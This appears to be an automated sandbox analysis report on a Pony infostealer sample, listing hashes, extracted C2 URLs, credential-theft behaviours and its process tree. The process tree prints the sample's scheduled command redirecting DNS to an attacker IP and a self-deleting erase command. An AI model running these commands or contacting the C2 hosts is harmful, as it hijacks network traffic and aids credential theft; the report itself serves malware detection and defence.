Analysis
-
max time kernel
150s -
max time network
160s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
12/10/2023, 17:57
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe
Resource
win7-20230831-en
windows7-x64
15 signatures
150 seconds
General
-
Target
NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe
-
Size
92KB
-
MD5
0c412ef0cf9904408b020f4b814b3460
-
SHA1
3cef353cc50f0d277463ff140ae9819e12cb511c
-
SHA256
f180e0c098cbda74fdff7ad278dc0ceb10d2edfc14fa8c0442b6230c6f6447b5
-
SHA512
8672026923c497824e11ce65a0845053ec33769a0236361231c2cfe13d76aecf7497c297aa2463e17462231318f40723e571d10778960986f809476c94d6361c
-
SSDEEP
1536:1zSk+mAjxkteU7ZeH++q6BIfe/yplC+D5MXNnYrncybbniWEzuyuO:1zSk+mAtkteU7AH+h6BK2v+D5sNnSyWI
Malware Config
Extracted
Family
pony
C2
http://:xoakatap.pw:681/fix/update.php
http://coalarky.pw:681/fix/update.php
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral2/memory/3300-1-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral2/memory/3300-3-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral2/memory/3300-4-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral2/memory/3300-5-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral2/memory/3300-6-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral2/memory/3300-9-0x0000000000400000-0x000000000041B000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1688 set thread context of 3300 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 82 -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\calc2.exe NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4340 PING.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeImpersonatePrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeTcbPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeChangeNotifyPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeCreateTokenPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeBackupPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeRestorePrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeIncreaseQuotaPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeAssignPrimaryTokenPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeImpersonatePrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeTcbPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeChangeNotifyPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeCreateTokenPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeBackupPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeRestorePrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeIncreaseQuotaPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeAssignPrimaryTokenPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeImpersonatePrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeTcbPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeChangeNotifyPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeCreateTokenPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeBackupPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeRestorePrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeIncreaseQuotaPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeAssignPrimaryTokenPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeImpersonatePrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeTcbPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeChangeNotifyPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeCreateTokenPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeBackupPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeRestorePrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeIncreaseQuotaPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeAssignPrimaryTokenPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeImpersonatePrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeTcbPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeChangeNotifyPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeCreateTokenPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeBackupPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeRestorePrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeIncreaseQuotaPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeAssignPrimaryTokenPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeImpersonatePrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeTcbPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeChangeNotifyPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeCreateTokenPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeBackupPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeRestorePrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeIncreaseQuotaPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeAssignPrimaryTokenPrivilege 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 1688 wrote to memory of 3300 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 82 PID 1688 wrote to memory of 3300 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 82 PID 1688 wrote to memory of 3300 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 82 PID 1688 wrote to memory of 3300 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 82 PID 1688 wrote to memory of 3300 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 82 PID 1688 wrote to memory of 3300 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 82 PID 1688 wrote to memory of 3300 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 82 PID 1688 wrote to memory of 3300 1688 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 82 PID 3300 wrote to memory of 4548 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 92 PID 3300 wrote to memory of 4548 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 92 PID 3300 wrote to memory of 4548 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 92 PID 4548 wrote to memory of 3288 4548 cmd.exe 94 PID 4548 wrote to memory of 3288 4548 cmd.exe 94 PID 4548 wrote to memory of 3288 4548 cmd.exe 94 PID 3300 wrote to memory of 3480 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 95 PID 3300 wrote to memory of 3480 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 95 PID 3300 wrote to memory of 3480 3300 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 95 PID 3480 wrote to memory of 4340 3480 cmd.exe 97 PID 3480 wrote to memory of 4340 3480 cmd.exe 97 PID 3480 wrote to memory of 4340 3480 cmd.exe 97
Processes
-
C:\Users\Admin\AppData\Local\Temp\NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe"C:\Users\Admin\AppData\Local\Temp\NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Users\Admin\AppData\Local\Temp\NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exeC:\Users\Admin\AppData\Local\Temp\NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe2⤵
- Checks computer location settings
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3300 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c at 07:10:00 /every:T,M,Th,F,W,S,Su wmic.exe nicconfig where "IPEnabled=true" call SetDNSServerSearchOrder ("37.10.116.201", "8.8.8.8")3⤵
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\SysWOW64\at.exeat 07:10:00 /every:T,M,Th,F,W,S,Su wmic.exe nicconfig where "IPEnabled=true" call SetDNSServerSearchOrder ("37.10.116.201", "8.8.8.8")4⤵PID:3288
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 10 localhost && erase "C:\Users\Admin\AppData\Local\Temp\NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost4⤵
- Runs ping.exe
PID:4340
-
-
-